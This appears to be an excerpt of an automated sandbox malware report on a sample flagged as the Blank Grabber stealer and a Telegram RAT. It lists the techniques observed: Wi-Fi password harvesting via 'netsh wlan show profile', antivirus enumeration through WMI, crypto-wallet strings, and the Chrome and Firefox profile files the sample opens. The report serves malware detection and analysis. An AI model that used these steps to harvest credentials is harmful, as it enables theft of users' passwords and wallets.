Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 4_2_00007FF7C266D080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_00007FF7C266D080

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 4_2_00007FF7C2685C70 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

4_2_00007FF7C2685C70

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Code function: 97_2_00007FF7080D48CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

97_2_00007FF7080D48CC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000007.00000003.1686994735.000001E7C3B87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1689633424.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1709310873.000001E7C39E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1275666676.000001FB29EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1275666676.000001FB29EE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1689985178.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: X9g8L63QGs.exe PID: 3396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: X9g8L63QGs.exe PID: 3800, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI33962\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: X9g8L63QGs.exe PID: 3800, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C346C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
